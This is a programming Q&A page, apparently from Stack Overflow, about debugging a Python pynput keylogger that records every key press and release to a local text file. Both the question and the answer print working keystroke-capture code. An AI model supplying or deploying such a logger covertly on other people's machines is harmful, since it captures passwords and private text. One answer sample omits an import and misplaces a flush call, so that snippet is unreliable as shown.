Search code examples
pythonpython-3.xkeyloggerpynput

pynput keylogger does not write to file


I have a problem with this keylogger program. It must write to a file but it doesn't do that. What is wrong?

The program must listen to the keyboard and write it to a file (before, there is a check if the file exists or not). But it doesn't write to the file, it only creates the file.

from pynput import keyboard
import os

if os.path.exists("prova3.txt") == True:
    f = open("prova3.txt","a")
else:
    f = open("prova3.txt","x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()


Solution

  • First of all, make sure that you took note of the warning from the pynput docs:

    Starting a keyboard listener may be subject to some restrictions on your platform.

    If you are on a Mac like me, then you have to do this:

    • The process must run as root.
    • Your application must be white listed under Enable access for assistive devices.

    For that second item, check these steps from a related SO post.

    Now, for the actual file writing problem, one solution is to call f.flush() after calling f.writelines to ensure that data is actually written to the file. (see this related post for some explanation: what exactly the python's file.flush() is doing?). I am not familiar with pynput's underlying implementation, but the docs says it uses threads and that seems to affect File I/O. It's also good practice to call f.close() when you're done with the file.

    from pynput import keyboard
    
    if os.path.exists("prova3.txt"):
        f = open("prova3.txt", "a")
    else:
        f = open("prova3.txt", "x")
    
    def on_press(key):
        try:
            f.writelines("///key [ {0} ] pressed ///".format(
                key.char))
        except AttributeError:
            f.writelines("///special key {0} pressed///".format(
                key))
            f.flush()
    
    def on_release(key):
        f.writelines(["///key [ {0} ] released ///".format(
            key)])
        f.flush()
    
    with keyboard.Listener(
            on_press=on_press,
            on_release=on_release) as listener:
        listener.join()
    
    f.close()
    

    An alternative and a better practice is to use a with statement when writing to the file. That puts f and the pynput listener all in the same context. With this way, calling flush is not needed (but you still can if you want to).

    from pynput import keyboard
    
    with open("prova3.txt", "a") as f:
        def on_press(key):
            try:
                f.writelines("///key [ {0} ] pressed ///".format(
                    key.char))
            except AttributeError:
                f.writelines("///special key {0} pressed///".format(
                    key))
    
        def on_release(key):
            f.writelines(["///key [ {0} ] released ///".format(
                key)])
    
        with keyboard.Listener(
                on_press=on_press,
                on_release=on_release) as listener:
            listener.join()